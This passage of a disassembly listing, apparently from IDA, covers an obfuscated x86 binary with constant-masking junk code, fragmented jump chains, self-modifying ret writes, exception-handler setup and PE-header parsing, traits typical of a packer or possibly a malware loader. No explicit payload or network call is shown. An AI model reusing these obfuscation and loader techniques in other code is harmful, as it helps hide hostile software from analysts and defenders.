CHUNK FOR sub_423753 ; --------------------------------------------------------------------------- loc_425D00: ; CODE XREF: hjohnhn9:00428C35j or eax, 8F41505Eh xor eax, 2EDC8CBBh and eax, 600A4B87h add eax, 0A0382512h popf xchg eax, [esp] jmp sub_4279ED ; --------------------------------------------------------------------------- push ebx jmp loc_424F1A ; =============== S U B R O U T I N E ======================================= sub_425D27 proc near ; CODE XREF: sub_42325E+2p ; hjohnhn9:00423FA1j arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] ror eax, 9 mov ds:dword_428394, eax retn sub_425D27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_425D38: ; CODE XREF: sub_427486+6j jmp loc_4271F2 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_425D3D: ; CODE XREF: sub_42466E+1DD6j jmp loc_424BD9 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42351F loc_425D42: ; CODE XREF: sub_42351F+7j jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_42351F ; =============== S U B R O U T I N E ======================================= sub_425D47 proc near ; DATA XREF: hjohnhn9:00427691o add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] call sub_4241E1 sub_425D47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_425D55: ; CODE XREF: sub_4266B5+4j jmp loc_428A6C ; END OF FUNCTION CHUNK FOR sub_4266B5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425D5B: ; CODE XREF: sub_425BD2+31EBj jmp loc_427306 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_425D60: ; CODE XREF: hjohnhn9:00427696j jmp locret_427BB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_425D65: ; CODE XREF: sub_426F5A+9j jmp loc_426BA8 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- loc_425D6A: ; CODE XREF: hjohnhn9:00423B7Fj jmp locret_423F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_425D6F: ; CODE XREF: sub_4265CD:loc_427FB5j jl loc_4235F0 push ebp jmp sub_423AAF ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_425D7B: ; CODE XREF: sub_4236A7:loc_423BF6j add eax, 4 mov ebx, [eax] push ebx push 9A5A1A01h jmp loc_423087 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- pop edx push eax push 0C91257B9h sbb edx, 3A6CB62Eh jmp loc_4264B7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230E0 loc_425D9E: ; CODE XREF: sub_4230E0+Dj jmp loc_42772C ; END OF FUNCTION CHUNK FOR sub_4230E0 ; --------------------------------------------------------------------------- loc_425DA3: ; CODE XREF: hjohnhn9:00425EC0j jo nullsub_99 ; START OF FUNCTION CHUNK FOR sub_42466E loc_425DA9: ; CODE XREF: sub_42466E:loc_42309Fj add eax, 34A89E1h xchg eax, [esp+0] jmp loc_42797F ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_425DB7: ; CODE XREF: sub_427363:loc_4270C0j mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_427358 ; END OF FUNCTION CHUNK FOR sub_427363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_2 mov byte ptr [eax], 0C3h jnb loc_423515 jmp loc_42462C ; --------------------------------------------------------------------------- loc_425DDE: ; CODE XREF: hjohnhn9:00427C94j jge loc_42390D ; =============== S U B R O U T I N E ======================================= sub_425DE4 proc near ; CODE XREF: sub_426604+7p xchg edx, [esp+0] pop edx push 0D200AD3Ch jmp loc_428129 sub_425DE4 endp ; --------------------------------------------------------------------------- loc_425DF2: ; CODE XREF: hjohnhn9:004274B4j pop ecx rol ecx, 1Bh xor ecx, 7A9DBC6Fh add eax, ecx pop ecx mov eax, [eax] jmp loc_42327E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425E06: ; CODE XREF: sub_42355C+26EAj jo loc_42626A shr eax, 1Ch adc ecx, 0A57AE9C0h xor ecx, 0F54B0178h jmp loc_425C18 ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425E20: ; CODE XREF: sub_425BD2-1CA9j ; sub_426354:loc_427927j mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] and eax, 0FFh mov eax, ds:dword_4256DC[eax*4] call sub_427B51 loc_425E3A: ; CODE XREF: sub_428829+Aj jmp loc_425270 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_425E3F: ; CODE XREF: hjohnhn9:0042690Dj jmp nullsub_124 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_425E44: ; CODE XREF: sub_4244F5+617j jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_4244F5 ; =============== S U B R O U T I N E ======================================= sub_425E49 proc near ; CODE XREF: sub_425EEA:loc_423E7Bp ; hjohnhn9:00424A6Fj xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] push offset sub_428CC9 jmp nullsub_15 sub_425E49 endp ; =============== S U B R O U T I N E ======================================= sub_425E5A proc near call sub_4279ED call sub_425C98 sub_425E5A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423B05 loc_425E64: ; CODE XREF: sub_423B05+4B2Cj jmp loc_427EE2 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_425E69: ; CODE XREF: sub_426475-2F89j jmp loc_42602D ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_425E6E: ; CODE XREF: sub_426C09-35E4j xor ecx, 3684023Fh xor edi, 470493CFh cmp ecx, 0E7563046h jmp loc_428F8E ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_425E85: ; CODE XREF: sub_4279C0:loc_42507Bj mov ebx, esi xchg ebx, [esp+0] push eax pop esi xchg esi, [esp+0] jmp loc_42446C ; END OF FUNCTION CHUNK FOR sub_4279C0 ; =============== S U B R O U T I N E ======================================= sub_425E94 proc near ; CODE XREF: hjohnhn9:0042633Ap ; hjohnhn9:00426A24j ; FUNCTION CHUNK AT 0042673C SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx push offset sub_428BCF jmp loc_42673C sub_425E94 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C4E loc_425EA4: ; CODE XREF: sub_428C4E+22j jmp loc_426894 ; END OF FUNCTION CHUNK FOR sub_428C4E ; =============== S U B R O U T I N E ======================================= sub_425EA9 proc near ; CODE XREF: hjohnhn9:loc_423815p ; sub_425BD2:loc_4277E0j ... ; FUNCTION CHUNK AT 00424801 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004289C0 SIZE 00000005 BYTES mov eax, cs xor al, al or eax, eax jmp loc_4289C0 sub_425EA9 endp ; --------------------------------------------------------------------------- loc_425EB4: ; CODE XREF: hjohnhn9:00428234j jnb loc_4243D9 test ebp, 0EFCFED04h jmp loc_425DA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425EC5: ; CODE XREF: sub_426354-17EAj mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax loc_425ED0: ; CODE XREF: sub_424B4A:loc_42666Cj ; sub_427805j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jb loc_426E12 jmp loc_424D6D ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_425EE4: ; CODE XREF: hjohnhn9:00426DEDj sbb eax, 0C96DEF00h ; =============== S U B R O U T I N E ======================================= sub_425EEA proc near ; CODE XREF: sub_427564+D08p ; FUNCTION CHUNK AT 00423E7B SIZE 00000012 BYTES xchg edi, [esp+0] pop edi pop esi push 1Ch lea eax, [ebp-34h] push eax jmp loc_423E7B sub_425EEA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_425EFB: ; CODE XREF: sub_423CDB+3ED1j jmp loc_42869B ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425F00: ; CODE XREF: sub_426354+2413j jge loc_4275D2 ; END OF FUNCTION CHUNK FOR sub_426354 ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_425F06: ; CODE XREF: sub_427DE6+1Fj jmp loc_426449 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; --------------------------------------------------------------------------- push 0E2CE79D4h jmp loc_4275CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_425F15: ; CODE XREF: sub_426A78-2D29j jle loc_424E99 loc_425F1B: ; CODE XREF: sub_426A78:loc_423D47j or eax, 4D94C7ABh rol eax, 10h add eax, 188315A2h mov eax, [eax] or eax, eax jnz loc_428510 jmp loc_427436 ; END OF FUNCTION CHUNK FOR sub_426A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_425F3A: ; CODE XREF: sub_427852+8j jmp loc_428319 ; END OF FUNCTION CHUNK FOR sub_427852 ; =============== S U B R O U T I N E ======================================= sub_425F3F proc near ; DATA XREF: sub_4290CF-215Co ; FUNCTION CHUNK AT 00423456 SIZE 00000005 BYTES dec dword ptr [ebp-24h] jnz loc_42885B jmp loc_423456 sub_425F3F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_425F4D: ; CODE XREF: sub_4265CD-3096j rol eax, 17h push esi mov esi, edi xchg esi, [esp+0] jmp loc_4232EB ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_425F5B: ; CODE XREF: sub_4279C0:loc_4249D7j mov edi, ecx xchg edi, [esp+0] push 0FFFFFFF1h call sub_42472D push ebx jmp loc_42507B ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- locret_425F6D: ; CODE XREF: hjohnhn9:004266F8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_425F6E: ; CODE XREF: hjohnhn9:00423165j ; sub_423BC3:loc_427825j jmp loc_4241BE ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- jbe loc_42497C rol ecx, 17h jmp sub_42645D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425F81: ; CODE XREF: sub_425BD2:loc_427028j jns loc_423082 jmp loc_4277E0 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- sub esi, edx jmp loc_423B04 ; =============== S U B R O U T I N E ======================================= sub_425F93 proc near ; CODE XREF: sub_425BD2+9p ; hjohnhn9:00425CA6j xchg ebx, [esp+0] pop ebx mov ds:dword_423950, eax retn sub_425F93 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_425F9E: ; CODE XREF: sub_424819+26C7j jmp loc_426A03 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42859A loc_425FA3: ; CODE XREF: sub_4248B1j sub_42859A+6j rol eax, 0Bh push eax call sub_4244F5 jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_42859A ; --------------------------------------------------------------------------- loc_425FB1: ; CODE XREF: hjohnhn9:00424DD2j mov byte ptr [eax], 0C3h call nullsub_1 call nullsub_122 call nullsub_124 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_4239D3 jmp loc_4281D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_425FDC: ; CODE XREF: sub_4251EB:loc_4283BAj jz loc_4232DA push 5CCB0B2Eh jp loc_424954 jmp loc_4232D1 ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- jnb sub_4283C9 cdq jmp sub_423E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238CC loc_425FFE: ; CODE XREF: sub_4238CC+1Aj add eax, 3960E5C1h add eax, ebp add eax, 43C7FE34h mov eax, [eax] xor edx, eax pop eax add edx, 2 jmp loc_423F45 ; END OF FUNCTION CHUNK FOR sub_4238CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_426019: ; CODE XREF: sub_426671+Fj pop ebp mov eax, ds:dword_428B04 or eax, eax jnz loc_428551 jmp loc_427895 ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_42602D: ; CODE XREF: sub_426475:loc_425E69j xchg eax, [esp+4+var_4] push 7CD0134Eh pop ecx xor ecx, 749589EAh rol ecx, 5 jmp loc_427EA1 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- pop ebp jmp loc_427C99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42604A: ; CODE XREF: sub_4260BD+26Aj shr eax, 15h test edx, ecx jmp loc_426D8C ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426054: ; CODE XREF: sub_424161+30A2j adc eax, 0D6D0B437h loc_42605A: ; CODE XREF: sub_424161+438j xor edx, 136ECA97h add edx, 131DE3E6h add edx, ebp add edx, 78F92151h mov [edx], eax pop edx mov dword ptr [ebp-0Ch], 1 jmp loc_425BB8 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_42607D: ; CODE XREF: sub_42355C:loc_42743Bj sub eax, 6611ACDCh add eax, 4874857Dh mov eax, [eax] or eax, eax jnz loc_428551 jmp loc_424E9F ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_426098 proc near ; CODE XREF: hjohnhn9:00423006j ; sub_427805+6p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov eax, 6 sub eax, [ebp-4] call sub_424181 loc_4260A9: ; CODE XREF: sub_425BF2+8j ; sub_42841F+Cj ... mov edx, [esp-4+arg_0] mov al, 1 call edx xor eax, eax retn sub_426098 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_4260B3: ; CODE XREF: sub_426CC8+1A10j jmp sub_427AEB ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4260B8: ; CODE XREF: sub_42304F+21j ; sub_423444+3CB0j jmp loc_424218 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_4260BD proc near ; CODE XREF: sub_426475:loc_4234D8p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423A50 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00423BF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423CA1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042409B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042497B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00424A12 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424DB8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042604A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426325 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426D8C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00426E4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EE5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427431 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042763E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427714 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042794A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004282E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428337 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042873A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429032 SIZE 0000000C BYTES push edi jmp loc_42873A sub_4260BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4260C3: ; CODE XREF: sub_427C9B:loc_427CB9j mov esi, 0C4B77320h jmp loc_4289DB ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_4260CD: ; CODE XREF: sub_426F85+Ej cmp dword ptr [ebp-4], 0 jz loc_428EEB mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_428D00 ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- loc_4260EA: ; CODE XREF: hjohnhn9:004251A2j sub esi, 329C18AFh xor esi, 91F0F70Bh xchg esi, [esp] ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4260F9: ; CODE XREF: sub_423BC3+53F7j mov eax, [ebp-8] push ebp jmp loc_424FE3 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- loc_426102: ; CODE XREF: hjohnhn9:004266DEj mov byte ptr [eax], 64h inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] jmp loc_428621 ; --------------------------------------------------------------------------- loc_426116: ; DATA XREF: sub_426523+1F40o inc dword ptr [ebp-10h] push offset loc_426F35 jmp locret_424EBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_426123: ; CODE XREF: sub_427486:loc_427292j ; hjohnhn9:004272AEj and edx, 6A6446A1h test edx, 20000h jmp loc_423246 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_426134: ; CODE XREF: sub_4275A3:loc_42686Bj call sub_4230E0 loc_426139: ; CODE XREF: sub_426638:loc_427F44j jl loc_425CD2 sbb edx, 0F41EDE25h push 0B42397E8h jmp loc_425CD0 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_426150: ; DATA XREF: sub_427C9B+9Do push 0D5915632h pop eax sub eax, 1B5FE3AFh xor eax, 667D6B26h add eax, 9C500B56h add eax, ebp add eax, 8763DAF1h push edi jmp loc_428C28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426176: ; CODE XREF: sub_427C9B+8FAj jge loc_4238AA xchg ebp, [esi] jmp loc_424F76 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426184: ; CODE XREF: hjohnhn9:00426B4Fj jmp loc_4244EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_426189: ; CODE XREF: sub_4282F8-3B09j jmp loc_425BC8 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; --------------------------------------------------------------------------- dw 0C613h dd 95CA8157h, 0E978E918h, 0FFFFD55Eh ; --------------------------------------------------------------------------- loc_42619C: ; CODE XREF: hjohnhn9:00426BA2j mov eax, [ebp-1Ch] mov al, [eax] mov edx, [ebp-20h] mov [edx], al jmp loc_4266CC ; --------------------------------------------------------------------------- sbb edi, 0ABCEEB72h add ecx, 3AE5C846h jmp sub_42841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4261BC: ; CODE XREF: sub_426708:loc_4264ADj mov eax, ds:dword_4233A0 or eax, eax jnz loc_423B9C jmp loc_426E5A ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_4261CF: ; CODE XREF: sub_424698+455Aj add eax, 4C448979h loc_4261D5: ; CODE XREF: sub_424698:loc_424153j call sub_424877 push 94857662h pop edx and edx, 5930BFE2h jmp loc_427657 ; END OF FUNCTION CHUNK FOR sub_424698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4261EC: ; CODE XREF: hjohnhn9:00427E3Aj jmp loc_425066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_4261F1: ; CODE XREF: sub_427994+10j jmp loc_4239EC ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- loc_4261F6: ; CODE XREF: hjohnhn9:0042841Aj add ebp, edi shl ecx, 6 jnp loc_42403E jmp loc_426EA6 ; --------------------------------------------------------------------------- adc ecx, 110AAC48h jmp loc_427850 ; =============== S U B R O U T I N E ======================================= sub_426211 proc near ; CODE XREF: sub_423D1C+5p ; sub_4260BD+CE8j ; FUNCTION CHUNK AT 00423241 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424526 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004250CF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042765C SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 7FDD7FB8h pop edi and edi, 82A2154Ch test edi, 400000h jmp loc_423241 sub_426211 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov edx, [esi] jmp sub_425029 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_426235: ; CODE XREF: sub_425BD2:loc_428CAAj xchg ebp, [esp+4+var_4] jmp loc_423771 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_42623D: ; CODE XREF: sub_42855Bj push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp jmp loc_423320 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- cmp ebx, 0D69F4B63h jmp loc_427B6D ; --------------------------------------------------------------------------- loc_426255: ; DATA XREF: sub_4250C3+3E9Fo mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423D33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426268: ; CODE XREF: sub_423CDB:loc_4267FCj xor eax, eax loc_42626A: ; CODE XREF: sub_42355C:loc_425E06j ; sub_425029:loc_428823j jmp loc_424BB4 ; END OF FUNCTION CHUNK FOR sub_423CDB ; =============== S U B R O U T I N E ======================================= sub_42626F proc near ; DATA XREF: sub_424A78+4116o ; FUNCTION CHUNK AT 0042302C SIZE 00000005 BYTES jz loc_4242D9 push ebp mov eax, [ebp-20h] call sub_426287 pop ecx loc_42627F: ; CODE XREF: sub_427C9B+23j mov [ebp-20h], eax jmp loc_42302C sub_42626F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426287 proc near ; CODE XREF: sub_42626F+Ap push ebp mov ebp, esp jmp sub_424A55 sub_426287 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426523 loc_42628F: ; CODE XREF: sub_426523+Dj jno loc_42845E idiv ecx push ecx push 6587844Bh pop ecx jmp loc_4290A3 ; END OF FUNCTION CHUNK FOR sub_426523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A36 loc_4262A3: ; CODE XREF: sub_427A36+9j push ecx cmp ds:dword_423940, 0 jz loc_427EAB mov eax, ds:dword_423940 mov eax, [eax] push offset sub_4262DA jmp loc_42888D ; END OF FUNCTION CHUNK FOR sub_427A36 ; =============== S U B R O U T I N E ======================================= sub_4262C2 proc near ; DATA XREF: sub_4263E3-1814o xor eax, eax retn sub_4262C2 endp ; =============== S U B R O U T I N E ======================================= sub_4262C5 proc near ; CODE XREF: sub_4279C8p ; sub_4263E3+1B38p ... ; FUNCTION CHUNK AT 00423288 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423466 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042389B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00423B1F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423C0D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423F0B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424ADE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004251E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004264E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004265F3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042761C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427C18 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428031 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428B61 SIZE 0000000B BYTES jo sub_4266B5 call sub_426671 loc_4262D0: ; CODE XREF: hjohnhn9:0042656Ej jmp loc_4265F3 sub_4262C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_4262D5: ; CODE XREF: sub_424EC9+5j jmp loc_427E0A ; END OF FUNCTION CHUNK FOR sub_424EC9 ; =============== S U B R O U T I N E ======================================= sub_4262DA proc near ; DATA XREF: sub_427A36-177Eo mov ds:dword_423944, eax xor eax, eax push offset sub_4278EC jmp nullsub_17 sub_4262DA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4262EB: ; CODE XREF: sub_426354:loc_42323Cj jnz loc_427B58 mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] jmp loc_428B67 ; --------------------------------------------------------------------------- loc_426302: ; CODE XREF: sub_426354:loc_427A11j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_427B58 jmp loc_428388 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426311: ; CODE XREF: sub_426708:loc_426E5Aj jz loc_4247A4 jmp loc_426947 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_42631C: ; CODE XREF: sub_426671+122Aj add ebp, eax xchg edi, [esi] jmp loc_423FCD ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426325: ; CODE XREF: sub_4260BD-16A5j xchg esi, eax jmp loc_42604A ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_42632C: ; CODE XREF: hjohnhn9:0042397Fj xor eax, 0C53AEA7h rol ebp, 1Ah loc_426335: ; CODE XREF: hjohnhn9:loc_427208j mov eax, [ebp-4] xor edx, edx call sub_425E94 ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_42633F: ; CODE XREF: sub_426CC8+2EBj jmp loc_4286BD ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- loc_426344: ; CODE XREF: hjohnhn9:00426F3Fj jmp loc_425BE0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_42634A: ; CODE XREF: sub_4247F4+429Ej jmp loc_4263F6 ; END OF FUNCTION CHUNK FOR sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_42634F: ; CODE XREF: sub_424E4F+9j jmp loc_4244D3 ; END OF FUNCTION CHUNK FOR sub_424E4F ; =============== S U B R O U T I N E ======================================= sub_426354 proc near ; CODE XREF: hjohnhn9:0042738Dj 